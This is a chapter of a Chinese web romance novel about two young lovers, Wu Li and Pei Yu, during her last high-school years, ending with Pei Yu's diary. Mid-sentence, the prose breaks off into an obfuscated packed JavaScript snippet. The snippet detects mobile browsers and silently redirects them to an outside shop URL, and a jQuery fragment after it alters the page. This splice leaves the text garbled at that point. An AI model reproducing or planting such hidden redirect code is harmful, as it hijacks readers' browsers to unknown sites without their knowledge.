33. chapter33
作品:《乌梨》 *
乌黎猛地拽着他的衣领,把他拉到身前,“吓死我了。”
她捏着他的脸看,势必要看出有没有红点冒出来,随后愤愤道:“裴郁。”
裴郁摇头,因为被她扯着脸,只有轻微弧度,眼中含泪,“不要说死,要长命百岁。”
乌黎顿了一下,这下在看到他眼里含泪的瞬间,清楚意识到他的难过。
她歪头去贴他的脸颊,余热暖着他的皮肤,让促生的情绪在今夜湮灭。
乌黎蹭了蹭他的脸说,认真的说,“裴郁,你不开心。”
裴郁低低应,“嗯。”
乌黎用右手感受他跳动的脉搏,那只被她抓住的手腕,从不会在某一天甩开她,所以她能坚定地伸出手,问出那句,“我能帮你这个忙么?”
裴郁哽咽了下,“你现在不就在帮忙了。”
“那好,”她把人薅得更紧了,喃喃,“原来你喜欢这样。”
裴郁没有动静,他呼吸暂停,只两秒。
热络的怀抱又把他紧紧按入怀里。
裴郁柔声提醒:“等会有主任来怎么办?”
乌黎半点没有犹豫,“我不怕。”
母亲,我以为我没办法再感知爱。
直到,我遇到她。
那半年,他们就像平常的小情侣。
回到便利店,白天雇的兼职生见他们回来,收拾东西打了个招呼先走了。
裴郁不会占用她太多学习时间。
乌黎在书桌前写作业,他就坐在旁边的椅子上,要么看自己的书,要么处理一点学校的事,电脑屏幕的光很暗,怕晃到她的眼睛特意调的。
乌黎用余光瞥了他一眼,见他盯着电脑,只能咬着笔杆发呆。
他侧过头,用笔尖轻点一下她卷子上的关键步骤,声音压得很低,“这里,受力分析再画一遍。”
他讲题从不多话,点到为止,却总能戳中她的盲区。
“哦对哈。”乌黎不好意思笑。
“想笑就笑,又没人说你。”裴郁拉开被她咬平的笔。
“那我笑一会儿。”
说完,她就低低笑。
裴郁也没什么要做的,盯着她看了会儿。
等她写完作业,已经是深夜。
裴郁很少在她这里停留很长的时间,到了这个时候也只是起身把桌面散乱的卷子整理到一块,再把乌黎的水杯接满水,垂眸放在她伸手就能碰到的地方,才直起身。
“不要熬夜,”他叮嘱着看向她,等乌黎乖乖点头,“盖好被子,夜里冷。”他声音带着沙哑,却一点都不难听。
裴郁等周五的课程理完就赶机,一路颠簸,回到北区,再陪她到现在。
除了在飞机上,落地后几乎不休息,眼睛时时刻刻都盯着她。
夜风吹动,乌黎送他到门口,衣角擦过他的掌心,他无声握了握才放开。
乌黎挥手,笑语晏晏,“裴哥,拜拜。”
裴郁认真回她,“黎黎,晚安。”
道了晚安,他没急着走,俯身揉了下她的头发,目光盯着她的脸,安安静静地看几秒,
然后大步离开。
乌黎总觉得这次的裴郁,给她太多不一样的感觉。
他好像有很多心事,很多看不透的心事。
乌黎猜不透,她垂头,靠坐在门边,用眼睛框住他的离去的背影,试图感受他的情绪。
岂料,没十分钟,他又提着换洗的衣服回来,“回去后发现,只有你这里让我惦记。”
**
周六,裴郁没有自己的事情,陪着她往图书馆去。
两人占了靠窗的位置,温热的光落到书上,裴郁坐在对面,偶尔抬头看她低头写字的侧脸出神。
乌黎也不戳穿他,就任他看。
“看了我就必须陪我去驰面条!”
两人刚从图书馆出来。
裴郁闻言,也没笑,只是由着她拽着去面馆。
老板给两人打招呼,“来啦!”
“老样子,海鲜面不加香菜。”
“好勒,自己找位置坐。”
乌黎有些不好意思的嘀咕,“我又不是小孩。”
裴郁了然,勾唇,“在我这里,你可以是。”
两碗面很快端上来,热气腾腾,白雾往上飘,模糊了两人的眉眼。
乌黎那碗是海鲜面,蛤蜊、鱿鱼等海鲜浮在面上,店里盛产的汤头和香泽的云吞面很像,一样被老板撒了把葱花。
裴郁自己要了一碗牛肉面,大块的牛肉炖得软烂,浸在红亮的汤里,看着就很有食欲。
他先把自己碗里的牛肉夹了几块到她碗里,又把她碗里零星的香菜一根根挑干净,动作自然又细致,像在对待一件极重要的事。
“快吃,凉了就不好吃了。”他把筷子递到她手里,自己才拿起筷子,慢慢吃面。
乌黎捧着碗,先喝了一口汤,暖汤顺着喉咙滑下去,从胃里一直暖到心口。
她抬头看裴郁,他吃得很斯文,一口面,一口汤,偶尔抬眼,看她吃得香,眼底就泛起笑意。
“京北的面,是不是没这么好吃?”乌黎咬着虾仁,小声问。
裴郁顿了顿,放下筷子,看着她,“没你就变得不好吃了。”
乌黎耳根一热,低下头,假装专心吃面,嘴角却忍不住悄悄弯起来。
她不住反驳,“等我去,肯定和卖面条的阿姨告状。”
裴郁嗯哼一声,“行。”
因为学校的突然通知,乌黎下午要回学校上自习,裴郁就送她到校门,看着她跑进去,直到她的背影消失在教学楼里,才转身,去赶最晚一班回京北的航班。
周日他不在,乌黎的书桌前,总会多几本从京北的摊子淘回来的书,夹着张裴郁写的便签,字依旧工整:“累了就看两页,别耽误学习。”
瑞士的巧克力,也被整整齐齐地摆在笔袋旁边。
甚至有时,是一件洗干净的外套,是她上周不小心落在他那里的,带着他身上的味道。
裴郁从不说自己有多辛苦,从不提京北的风有多冷,不提赶车时的拥挤,不提一周的课程有多累。
他只把所有的温柔,都融进每周一次的相见。
融进两年的错题卷子,又或是从公寓带来做好的饭菜,就这么陪着乌黎从高二,走到高三。
即便知道她和陈池月的关系缓解了很多,意图寻求他的理解时。
裴郁只是点头,“你做的决定都有利于你。”
“所以我都赞同。”
黑板上的倒计时,从三百多天,变成一百多天,再变成几十天。
她长高了一点,眉眼长开了,不再是那个动不动就红眼眶的小姑娘,只不过每次周五放学,看见那个身影,心里还是会一软,像被温水漫过,即使有时候课程调不开,他的身影会在周五和周六来回波动。
但她知道,他在京北,也在往前走,读他的书,学他的专业,可他从来没有因为距离,就把她落下。
冬天雪下得大,他依旧来。
校门口积雪很厚,她一眼就看见树下站着的人,裴郁穿了件简单的深灰连帽卫衣,牛仔裤,手里还拎着个印着机场logo的纸袋。
他刚下飞机,从京北赶来,连衣服都没来得及换,却依旧站得笔直,看见她跑过来,他眼底的沉冷先化开一层,伸手自然地接过她怀里的书包。
“累不累?”乌黎学着他之前的样子询问,她的声音被秋风吹得很远,似乎想感知他长途的奔波。
裴郁摇头,垂眸看她。
他眼下有淡淡的青黑,是一路赶飞机没睡好的痕迹,可眉眼依旧清俊,鼻梁高挺,整个人像被京北的风磨得更挺拔。
“落地平安。”她小声说。
“落地平安,”裴郁应得干脆,抬手替她把被风吹乱的刘海别到耳后,“到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322301|197787||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了就直接过来了。”
两人没多说话,并肩往巷子里走。
风有点凉,乌黎下意识往他身边靠了靠,他便不动声色地放慢脚步,让她走在里侧,替她挡着风。
乌黎总说这一年学校有好几个情绪崩溃的同学,但裴郁只在乎她如何。
高二到高三是最容易崩溃的这一年,裴郁用最沉默的方式,稳稳地托住了。
她没有朋友,也没有家人。
只有自己和日复一日的学业。
唯独裴郁是例外。
***
裴郁日记:
此生第一篇日记在今夜诞生,第一次动笔难免觉得生疏和不知所措。
这周我失去了母亲,那个生养我的女人,幼年时我对她没有过多的印象。
她只是一个贤惠的妻子,在某人看来却是女强人甘愿为家庭退让。
八岁时,她回归家庭,从妻子变为母亲。
我无论再小的年纪也想为母亲做点力所能及的事情。
比如知道那人出轨,她却忍让不语。
那时我并不好受,更是不久的夏天外公外婆去世给了我最深的打击。
我摆烂拒绝去学校,没人能强扭我的意愿。
在这个情况下,我在电脑上看到一句话。
小满:亲人是这辈子无法割舍的悲歌,也是阴暗时湿润的阵雨。
小满似乎很久才上线一次。
每一次都很仓促。
那段我自认为很难的日子,是靠那本未命名的小说度过的。
江野说我变了,我问他变成什么样了?
他说一种说不出来的感觉,更可靠。
我看了他很久,希望你永远不会遇到让你变可靠的事。
有时,我会托在内地的朋友顺着后台找一个这个账号,但由于对方是用未登记的台式电脑,也就是俗称的黑网吧,我没法找到小满。
一个机遇下,我得到小满在回复四楼时,不再上线,她将离开山城前往别的地方的消息。
那时的我已经厉害到有关国内外的竞赛都能拿奖,就连随便玩的电脑也合理化的研究起小程序。
我决心踏上北区,并联系上了挖掘这本书的编辑。
那是位爱笑的姐姐,自家就有出版社,只不过她刚毕业,从国外回来。
因为喜欢逛论坛,刷到小满的文字。
故而有了这回的合作。
正因为有了这次的见面,我成功得到小满在山城的所在地。
那是一处不太能住人的出租屋和充满烟火气的城市。
我待了几天。
初遇,我盯着小满小步靠过来的身影,快速回完电话。
跨步上台,希望小满能记住我。
五块钱,就是我们相识的证明。
我越来越多次出现在明处,少了偶尔暗处的窥探。
小满,俗话说水满则溢,月满则亏。
陪你度过的每个日夜,都让我难忘。
从你说出你约莫是栽到我身上时,我知道,爱能救人。
无论是救我还救你。
还记得,你悄摸说起出版的那本书拿到手没多久,有个女生一口气买了五百本。
也不知道是好还是坏。
五百本,得放满柜子吧。
你看,你总是这样不慌不忙地为别人担心。
小满,哦对,应该叫乌黎。
梨梨。
你叫我裴哥的时候,我已经到了能为你死的地步了。
也是在这瞬间,我大概是懂了母亲为什么缄口不言某人的错处。
他们是真心爱过。
即便心死了,也抹不平曾经。
我还是觉得,人这辈子,也得取悦自己吧。
你就做你自己,而我取悦你。
所以,上天让我们相遇。
裴郁
2007年1月13日

